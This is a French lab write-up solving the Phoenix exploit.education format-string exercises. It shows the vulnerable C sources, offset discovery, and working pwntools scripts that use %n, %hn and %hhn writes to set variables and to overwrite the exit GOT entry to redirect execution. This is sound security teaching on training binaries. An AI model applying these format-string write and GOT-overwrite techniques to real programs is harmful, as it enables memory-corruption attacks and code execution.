Phoenix exploit education format printf serie
Ce document réunit les quatres exercices de la serie consacrée à la faille “format string”
format-zero
Le source
Source du programme.
/*
* phoenix/format-zero, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
* pass it around, 4294967295 bottles of beer on the wall!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
Analyse
L’objectif est de modifier la variable locale de type integer changeme.
Le programme lit sur lentrée standard 15 caractères placés dans un buffer de taille 16. On a donc pas de débordement immédiat.
Le buffer est ensuite recopié dans locals.dest avec la fonction scanf. La faille est ici.
sprintf(locals.dest, buffer);
buffer est traité comme le format du sprintf. La taille du resulat placé dans dest n’est pas contrôlée.
La taille de dest est 32. Ecrire 33 caractères modifie locals.changeme.
On obtient cela avec la chaine “%33c” par exemple. La chaîne entrée fait 4 octets et en produit 33.
user@phoenix-amd64:~$ opt/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%33c
Well done, the 'changeme' variable has been changed!
format-one
Cet exercice prolonge le précédent avec un meilleur contrôl de la modification.
format-one.c
/*
* phoenix/format-one, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* Why did the Tomato blush? It saw the salad dressing!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0x45764f6c) {
printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n",
locals.changeme);
} else {
puts("Well done, the 'changeme' variable has been changed correctly!");
}
exit(0);
}
Analyse format one
Ce programme est analogue à format zero mais la valeur attendue pour le changement est fixée à : 0x45764f6c.
On note d’abord que cette valeur correspond au mot : “lovE”.
Le solution est assez simple : on déborde de 32 caractères pour remplir le buffer dest et remplacer le contenu de la variable changeme.
$ ./opt/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32dAAAA
Uh oh, 'changeme' is not the magic value, it is 0x41414141
$ ./opt/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32clOvE
Well done, the 'changeme' variable has been changed correctly!
format-two
format-two.c
/*
* phoenix/format-two, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* What kind of flower should never be put in a vase?
* A cauliflower.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}
Première analyse
Cette fois la variable qui doit être modifiée n’est pas une variable locale mais une variable globale.
On peut constater que le programme n’est pas compilé en PIE. Les adresses des variables et fonctions sont donc fixes.
checksec opt/format-two
[*] '/home/user/opt/format-two'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
RPATH: '/opt/phoenix/x86_64-linux-musl/lib'
En particulier l’adresse de changeme est fixe.
$ readelf -s opt/format-two |grep changeme
47: 0000000000600af0 4 OBJECT GLOBAL DEFAULT 18 changeme
La faille est située dans la fonction bouce :
void bounce(char *str) {
printf(str);
}
Elle est appellée avec comme paramètre le premier argument du programme et appelle printf avec cet argument.
On peut donc envisager d’utiliser le formt “%n” pour “e"crire sur l’adresse de changeme.
Pour cela on utilisera un message de type :
<@chageme>%x %x…%x %n
Le nomrbre de %x dépend de l’offset auquel l’adresse @changeme est consommée sur la pile.
On cherche cet offset en executant :
$ opt/format-two "AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p "
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAA 0 0xa 0 0x7fffffffe596 0x7fffffffe51f 0x7fffffffe560 0x7fffffffe560 0x7fffffffe660 0x400705 0x7fffffffe6b8 0x200400368 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 Better luck next time!
On constate que AAAAAAAA est reflêté en 0x4141414141414141 à l’offset 12
Le message : @changeme||11*"%p”||"%n" doit écrire à l’adresse changeme
MAIS dans notre cas cela ne fonctionne pas.
L’adresse de changeme est 0x600af0 et contient la caractère 0a qui interompt le payload dans la mesure où il est fournit comme un argument de commande.
En outre l’adresse réelle est 0000000000600af0 en 64 bits. Elle contient donc plusieurs zero qui interrompent aussi le message.
Le challenge n’est probablement pas solvable avec le programme compilé en amd64
En x86 32 bits
Le programme 32 bits possède une adresse différente :
readelf -s /opt/phoenix/i486/format-two|grep changeme
47: 08049868 4 OBJECT GLOBAL DEFAULT 18 changeme
En outre elle est complète sur 4 octets.
On peut soumettre le message :
@changeme || 11*"%x" || n
import struct
import subprocess
'''
readelf -s /opt/phoenix/i486/format-two|grep changeme
47: 08049868 4 OBJECT GLOBAL DEFAULT 18 changeme
'''
binfile='/opt/phoenix/i486/format-two'
# Le debut de format apparait à l'offset 12
PL=struct.pack("<I",0x08049868)
PL=PL+(b'%x')*11
PL=PL+b"%n#"
print(PL.hex())
# Pour test gdb : run $(cat /tmp/pl)
open("/tmp/pl","wb").write(PL)
subprocess.run([binfile, PL])
Transcription
user@phoenix-amd64:~$ python3 format-two.py
6898040825702570257025702570257025702570257025702570256e23
Welcome to phoenix/format-two, brought to you by https://exploit.education
h0xffffd8bd0x10000xf7f84b670xffffd7200xffffd7080x80485a00xffffd6000xffffd8bd0x1000x3e8#Well done, the 'changeme' variable has been changed correctly!
format-three
format-three.c
/*
* phoenix/format-three, by https://exploit.education
*
* Can you change the "changeme" variable to a precise value?
*
* How do you fix a cracked pumpkin? With a pumpkin patch.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[4096];
printf("%s\n", BANNER);
if (read(0, buf, sizeof(buf) - 1) <= 0) {
exit(EXIT_FAILURE);
}
bounce(buf);
if (changeme == 0x64457845) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
printf(
"Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme);
}
exit(0);
}
Analyse format three
Ce programe est analogue à format-two mais on doit modifier précisément le contenu de la variable changement avec la valeur 0x64457845.
La faille est la même mais les données sont lues depuis l’entrée standard avec la fonction read.
L’adresse de la variable de la version 64 bits pose le même problème de la précédente.
$ readelf -s /opt/phoenix/amd64/format-three | grep changeme
47: 0000000000600a90 4 OBJECT GLOBAL DEFAULT 18 changeme
On travaille donc sur le version 32 bits :
readelf -s /opt/phoenix/i486/format-three | grep changeme
47: 08049844 4 OBJECT GLOBAL DEFAULT 18 changeme
Il n’est pas possible d’ecrire la valeur 0x64457845 en une seule fois. On doit envisager d’effecuer plusieurs opérations. Soit 4 écritures de un octet soit deux de deux.
Localisation de l’offset
Le premier argument se trouve à la position 12 :
$ opt/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAAAAAA %x%x%x%x%x%x%x%x%x%x%x %p
AAAAAAAA f7ffdc0cf7ffb300f7dc2617000ffffd690ffffe690400696ffffe6e80 0x4141414141414141
Solution avec 4 ecritures
La plus simple consite a empiler d’abord les 4 adresses cibles puis alterner des affichages et des formats d’ecriture d’un seul caractère : hhn.
On envoie d’abord un message de la taille de l’octet le plus faible puis des messages des la différence avec l’octet de poid supérieur.
Avec un message du type :
msg1 || adresse1 || adresse2 || adress3 || adresse4 || 11x"%c" || hhn || msg2 || hhn || msg3 || hhn || msg3 || hhn
Voir les valeurs concrètes dans le script qui suit.
Il faut tenir compte du fait que chaque adresses affiches 4 octets.
Les messages sont courts et on a la place donc on peut affiche les messages en dur ce qui simplifie les choses.
Voir juste après la solution où 31 octets par exemple sont émis avec “%31c” ce qui complique un peu car le %c consomme une entrée dans les paramètres.
Donc la solution la plus simple :
#!/usr/bin/python3
from pwn import p32, process, context
binfile='/opt/phoenix/i486/format-three'
target = 0x08049844
# Données a ecrire : 0x64457845
# Ecriture par octet dans l'ordre :
# 0: 0x45, 2:0x45, 3:0x64, 1:0x78
# Cible changeme
target = 0x08049844
PL=b"%42c" # 42 caracteres initiaux
PL=PL+p32(target) # 46
PL=PL+p32(target+2) # 50
PL=PL+p32(target+3) # 54
PL=PL+p32(target+1) # 58
PL=PL+b"%c"*11 # +11 : 69 (0x45)
PL=PL+b"%hhn" # write target
PL=PL+b"%hhn" # write target+2
PL=PL+b"A"*31 # 31 cars : 100 (0x64)
PL=PL+b"%hhn" # write target+3
PL=PL+b"B"*20 # 20 cars : 120 (0x78)
PL=PL+b"%hhn" # write target+1
print(PL.hex())
io = process([binfile])
io.sendline(PL)
io.interactive()
Avec le script suivant on afficher les messages de tailles fixée avec une format pondéré type “%123c”. On doit insérer des “junks” entre les adresses pour qu’ils soient consommés par les “%c” ensuite.
L’exercice permet d’apréhender la nuance. Il pourrait être nécessaire si la taille du message entrant est limitée.
from pwn import p32, process, context
binfile='/opt/phoenix/i486/format-three'
target = 0x08049844
# Données a ecrire : 0x64457845
# Ecriture par octet dans l'ordre :
# 0: 0x45, 2:0x45, 3:0x64, 1:0x78
# Cible changeme
target = 0x08049844
PL=b"%34c" # 34 caracteres initiaux
PL=PL+p32(target) # 38
PL=PL+p32(target+2) # 42
PL=PL+b"junk" # 46
PL=PL+p32(target+3) # 50
PL=PL+b"junk" # 54
PL=PL+p32(target+1) # 58
PL=PL+b"%c"*11 # +11 : 69 (0x45)
PL=PL+b"%hhn" # write target
PL=PL+b"%hhn" # write target+2
PL=PL+b"%31c" # 31 cars : 100 (0x64)
PL=PL+b"%hhn" # write target+3
PL=PL+b"%20c" # 20 cars : 120 (0x78)
PL=PL+b"%hhn" # write target+1
print(PL.hex())
io = process([binfile])
io.sendline(PL)
io.interactive()
Solution avec deux ecritures
Première ecriture
On peut ecrire les données en seulement deux fois avec un “%hn” est un peu plus compliqué. On va d’abord caller le format du message en affichant l’adresse après avoir ecrit le nombre d’octets nécessaires. Pour le test on ecrit simplement 20 octets.
$ opt/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
%0020c AAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x %p
AAAAAAAAAf7ffb300f7dc2617000ffffd690ffffe690400696ffffe6e8032303025 0x4141414141414141
O va envoyer le payload suivant
"%25652cX" || @changeme || 12 x "%c" || "hn"
Le premier element est complèté avec un X pour que sa taille soit un miltiple de 4 afin de décaler les adresses correctement sur la pile.
%25652c correspond à 0x6445 - 17 : la taille emise par 12 x “c” (12) - la taille de l’adresse (4) - taille du X (1)
ainsi 25669 seront ecrits lors de l’application de hn.
Script python avec l’adresse cible :
#!/usr/bin/python3
from pwn import p32, process, context
binfile='/opt/phoenix/i486/format-three'
target = 0x08049844
# Le debut de format apparait à l'offset 12
# Dans le message d'exploitation on le decale en 14
# On envoi u message de type
# %25669cX || @changeme || 12*"%c"
# 25559 4 12
v1= 0x6445 - 17
# %25669c : 6
PL="%"+str(v1)+"c"
PL=PL.encode()+p32(target)
PL=PL+(b'%c')*12
PL=PL+b"%hn"
print(PL.hex())
io = process([binfile])
banner = io.readline()
io.sendline(PL)
r = io.recvuntil(b"Better luck")[:-12]
print(len(r), "bytes received")
print("")
io.interactive()
execution :
25323536353263204698040825632563256325632563256325632563256325632563256325686e
[+] Starting local process '/opt/phoenix/i486/format-three': pid 323
[*] Process '/opt/phoenix/i486/format-three' stopped with exit code 0 (pid 323)
25669 bytes received
[*] Switching to interactive mode
next time - got 0x64450000, wanted 0x64457845!
La bonne valeur est inscrite sur la moitié de la variable.
Seconde écriture
On ecrite d’abord 0x6545 à l’adresse 08049846
Puis 0x7845 à l’adresse 08049844
Pour la seconde partie on a déjà écrit 0x6545 octets. Il en reste donc 5120 à écrire.
Pour ecrire ce segment on utilise un token %51xxc qui va consomer un slot sur la pile. On ajoute donc un “junk” de 4 octets pour cela
"%25655cX" || @changeme+2 || junk || @changeme || 12 x "%c" || "%hn" || "%5120c" || "%hn"
1 4 4 4 12 3 8
25644 => 0x6425 - 25 : 1+4+4+4+12 : X+addr+junk+addr+12c
#!/usr/bin/python3
from pwn import p32, process, context
binfile='/opt/phoenix/i486/format-three'
context.log_level = 'INFO'
context(terminal=['tmux', 'split-window', '-h'])
'''
$ readelf -s /opt/phoenix/i486/format-three | grep changeme
47: 08049844 4 OBJECT GLOBAL DEFAULT 18 changeme
'''
target = 0x08049844
# Le debut de format apparait à l'offset 12
v1= 0x6445 - 25
v2 = 0x7845-0x6445
PL="%"+str(v1)+"cX"
PL=PL.encode()+p32(target+2)
PL+=b"junk"
PL=PL+p32(target)
PL=PL+(b'%c')*12
PL=PL+b"%hn"
PL=PL+("%"+str(v2)+"c").encode()
PL=PL+b"%hn"
print(PL.hex())
io = process([binfile])
#io = gdb.debug([binfile])
banner = io.readline()
io.sendline(PL)
r = io.recvline()
print(len(r), "bytes received")
r = io.recvline()
print(r.decode())
Résultat.
user@phoenix-amd64:~$ python3 format-three2.py
2532353634346320469804086a756e6b4498040825632563256325632563256325632563256325632563256325686e202535313138632025686e
[+] Starting local process '/opt/phoenix/i486/format-three': pid 1493
[*] Process '/opt/phoenix/i486/format-three' stopped with exit code 0 (pid 1493)
30790 bytes received
Well done, the 'changeme' variable has been changed correctly!
format-four
Ce denier exercice illustre la possibilité de profiter l’une faille de type format pour modifier une adresse de fonction. En partique c’est le même que le précédent. C’est seulement la cible et la nature du contenu qui change.
format-four.c
/*
* phoenix/format-four, by https://exploit.education
*
* Can you affect code execution? Once you've got congratulations() to
* execute, can you then execute your own shell code?
*
* Did you get a hair cut?
* No, I got all of them cut.
*
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
void bounce(char *str) {
printf(str);
exit(0);
}
void congratulations() {
printf("Well done, you're redirected code execution!\n");
exit(0);
}
int main(int argc, char **argv) {
char buf[4096];
printf("%s\n", BANNER);
if (read(0, buf, sizeof(buf) - 1) <= 0) {
exit(EXIT_FAILURE);
}
bounce(buf);
}
Analyse
Dans ce programme la faille est la même que le précédent dans la fonction bounce().
L’objectif est d’appeller la fonction congratulation().
$ readelf -s /opt/phoenix/i486/format-four |grep congrat
58: 08048503 32 FUNC GLOBAL DEFAULT 8 congratulations
Avec la faille format de la fonction bounce on peut ecrire sur des adresses fixes.
On va pouvoir en particulier modifier l’adresse asociée à la fontion exit, appelée à la fin de bounce(). L’adresse de la fonction se trouve dans la table GOT.
$ readelf -r /opt/phoenix/i486/format-four
Relocation section '.rel.plt' at offset 0x2b0 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
080497d8 00000107 R_386_JUMP_SLOT 00000000 printf
080497dc 00000207 R_386_JUMP_SLOT 00000000 puts
080497e0 00000407 R_386_JUMP_SLOT 00000000 read
080497e4 00000907 R_386_JUMP_SLOT 00000000 exit
080497e8 00000a07 R_386_JUMP_SLOT 00000000 __libc_start_main
L’adresse de la fonction exit utilisée dans le programme est celle de la PLT : 0x8048330. Et elle fait le lien avec celle de la GOT.
gef➤ x/3i 0x8048330
0x8048330 <exit@plt>: jmp DWORD PTR ds:0x80497e4
0x8048336 <exit@plt+6>: push 0x18
0x804833b <exit@plt+11>: jmp 0x80482f0
080497e4 est l’entrée de exit dans la GOT
On va donc ecrire 08048503 cette adresse.
Localisation de la première entrée
$ /opt/phoenix/i486/format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
AAAA 0 0 0 f7f81cf7 f7ffb000 ffffd708 804857d ffffc700 ffffc700 fff 0 41414141 20782520 25207825 78252078 20782520
Là encore le premier paramètre est à l’offset 12
Comme dans l’exercice 3, on peut effectuer 4 ecritures d’une octets en les ecrivant dans l’ordre 03 04 08 85.
#!/usr/bin/python3
from pwn import p32, process, context, gdb
GDB=True
binfile='/opt/phoenix/i486/format-four'
context.log_level = 'INFO'
context(terminal=['tmux', 'split-window', '-h'])
target = 0x080497e4
congratulations = 0x08048503
print("Target=",hex(target))
# On affiche au moins 16 octets donc on envoie 0x103 (mod 256)
PL=b"%228c " # 256+3 - 16 - 12
PL=PL+p32(target) #
PL=PL+p32(target+2) #
PL=PL+p32(target+3) #
PL=PL+p32(target+1) #
PL=PL+b"%c"*12 # +11 : 0x103
PL=PL+b"%hhn" # write target
PL=PL+b'A' # 04
PL=PL+b"%hhn" # write target+2
PL=PL+b"AAAA" # 08
PL=PL+b"%hhn" # write target+3
PL=PL+b"B"*125 # 0x85
PL=PL+b"%hhn" # write target+1
print(PL.hex())
if GDB:
io = gdb.debug([binfile])
else:
io = process([binfile])
io.sendline(PL)
io.interactive()